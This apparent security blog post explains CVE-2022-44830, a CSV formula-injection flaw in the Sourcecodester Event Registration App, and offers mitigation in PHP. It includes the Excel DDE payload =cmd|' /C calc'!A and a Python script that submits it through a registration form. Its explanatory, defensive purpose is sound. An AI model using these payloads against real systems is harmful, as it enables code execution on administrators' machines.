Recently, security researchers discovered several dangerous CSV injection (a.k.a. formula injection) vulnerabilities in the Sourcecodester Event Registration App v1., publicly identified as CVE-2022-44830. This vulnerability can allow an attacker to execute arbitrary code by simply submitting malicious content through everyday form fields: First Name, Contact, and Remarks.

In this post, we break down how the vulnerability works, how it can be exploited step by step, and share code snippets for proof-of-concept. We use plain English and simple analogies so even those who are new to CSV injection can better understand what’s at stake.

What is CSV Injection?

CSV injection (also called formula injection) happens when web applications export user-supplied data to spreadsheet files (like CSVs) without proper filtering. If the data starts with special characters (=, +, -, or @), spreadsheet programs like Microsoft Excel treat it as a formula or command — meaning arbitrary code or system commands can run when a user simply opens the file.

Vulnerable Application: Sourcecodester Event Registration App v1.

This is a PHP/MySQL web app used by event organizers to collect attendee registrations. It stores data in a database and allows admins to export registrations as CSV files for use in Excel.

However, the export function does not sanitize user input, directly outputting data like names, contact info, and remarks. This makes the following fields dangerous vectors:

The Vulnerability

Any value starting with =, +, -, or @ will be interpreted by Excel as a formula. If attackers register for an event and in the First Name field enter =cmd|' /C calc'!A, this string will be saved exactly as entered.

When the admin later exports registrations and opens the CSV in Excel, Excel treats this cell as a formula. With some versions and settings, this can launch Windows Calculator — or, worse, download malware.

Fill in the fields as follows:

- First Name: =cmd|' /C calc'!A

Open the downloaded CSV file in Microsoft Excel.

Result: If your Excel is vulnerable, opening the file will prompt or automatically launch Windows Calculator.

Here's what an attacker's POST request might look like using Python and requests

import requests

URL = 'http://target-site.com/register';

data = {
    'first_name': "=cmd|' /C calc'!A",
    'contact': '111-222-3333',
    'remarks': 'Just testing!'
}

r = requests.post(URL, data=data)
if r.ok:
    print("Exploit submitted. Awaiting admin download...")

Any cell in the exported CSV that starts with a = or related meta character can turn into a formula injection vector.

Example of Malicious CSV Row

=cmd|' /C calc'!A,111-222-3333,Just testing!

How to Prevent This Vulnerability

The fix is simple, but often overlooked. Escape or filter out dangerous characters when exporting data:

- Prefix any string starting with =, +, -, or @ with a safe character, like a single quote '.
- E.g., =cmd|' /C calc'!A becomes '=cmd|' /C calc'!A

PHP code example to sanitize user input before CSV export

function sanitize_for_csv($field) {
    if (preg_match('/^[=+\-@]/', $field)) {
        $field = "'$field";
    }
    return $field;
}

Original References

1. CVE-2022-44830 at NVD
2. VulDB Research Entry
3. Original Exploit Disclosure on Exploit-DB
4. CSV Injection Explained (OWASP)

Summary

CVE-2022-44830 in Sourcecodester Event Registration App v1. is a textbook example of why you can’t blindly trust user input, even when just exporting data. Simple malicious payloads can turn into code execution by abusing familiar tools like Excel.

If you use this app or any similar PHP CSV exporter, patch immediately: sanitize all output, and train users to be careful with unfamiliar CSVs.

Stay Secure!

*If you found this guide helpful, please share it and help others secure their applications from CSV injection vulnerabilities.*

Timeline

Published on: 11/21/2022 18:15:00 UTC
Last modified on: 11/23/2022 15:01:00 UTC